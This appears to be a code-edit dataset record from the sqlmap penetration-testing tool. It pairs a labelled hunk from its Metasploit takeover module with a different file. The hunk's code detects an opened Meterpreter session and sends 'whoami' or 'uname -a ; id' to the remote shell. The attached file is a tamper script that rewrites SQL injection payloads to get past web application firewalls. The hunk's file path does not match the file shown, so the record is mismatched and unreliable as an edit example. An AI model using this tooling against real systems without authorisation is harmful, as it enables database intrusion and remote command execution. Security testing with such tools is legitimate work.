hunk.code_window:                 smbRelayCond = "Server started" in out
                   if pwnBofCond or smbRelayCond:
                       func()
                   if "Starting the payload handler" in out and "shell" in self.payloadStr:
                       if Backend.isOs(OS.WINDOWS):
                           send_all(proc, "whoami\n")
                       else:
                           send_all(proc, "uname -a ; id\n")
                       time.sleep(2)
                       initiated_properly = True
                   metSess = re.search("Meterpreter session ([\d]+) opened", out)
                   if metSess:
                       self._loadMetExtensions(proc, metSess.group(1))
               except EOFError:
                   returncode = proc.wait()
  
hunk.labels: keep keep keep keep keep replace replace replace replace replace replace replace replace replace replace replace replace replace keep keep keep keep
hunk.after_edit:                 if not initialized:
                       match = re.search("session ([\d]+) opened", out)
                       if match:
                           initialized = True
                           self._loadMetExtensions(proc, match.group(1))
                           if "shell" in self.payloadStr:
                               send_all(proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n")
                           if conf.liveTest:
                               send_all(proc, "exit\n")
                       elif time.time() - start_time > METERPRETER_INIT_TIMEOUT:
                           proc.kill()
                           errMsg = "Timeout occurred while attempting "
                           errMsg += "to open a remote session"
                           raise SqlmapGenericException(errMsg)
  
hunk.file_path: lib/takeover/metasploit.py
hunk.type: replace
file: #!/usr/bin/env python
  
  """
  Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
  See the file 'doc/COPYING' for copying permission
  """
  
  import os
  
  from lib.core.common import singleTimeWarnMessage
  from lib.core.enums import DBMS
  from lib.core.enums import PRIORITY
  
  __priority__ = PRIORITY.LOW
  
  def dependencies():
      singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
  
  def tamper(payload, **kwargs):
      """
      Replaces space character (' ') with a dash comment ('--') followed by
      a new line ('\n')
  
      Example:
          * Input: 1 AND 9227=9227
          * Output: 1--%0AAND--%0A9227=9227
  
      Requirement:
          * MySQL
          * MSSQL
  
      Tested against:
  
      Notes:
          * Useful to bypass several web application firewalls.
      """
  
      retVal = ""
  
      if payload:
          for i in xrange(len(payload)):
              if payload[i].isspace():
                  retVal += "--%0A"
              elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                  retVal += payload[i:]
                  break
              else:
                  retVal += payload[i]
  
      return retVal
  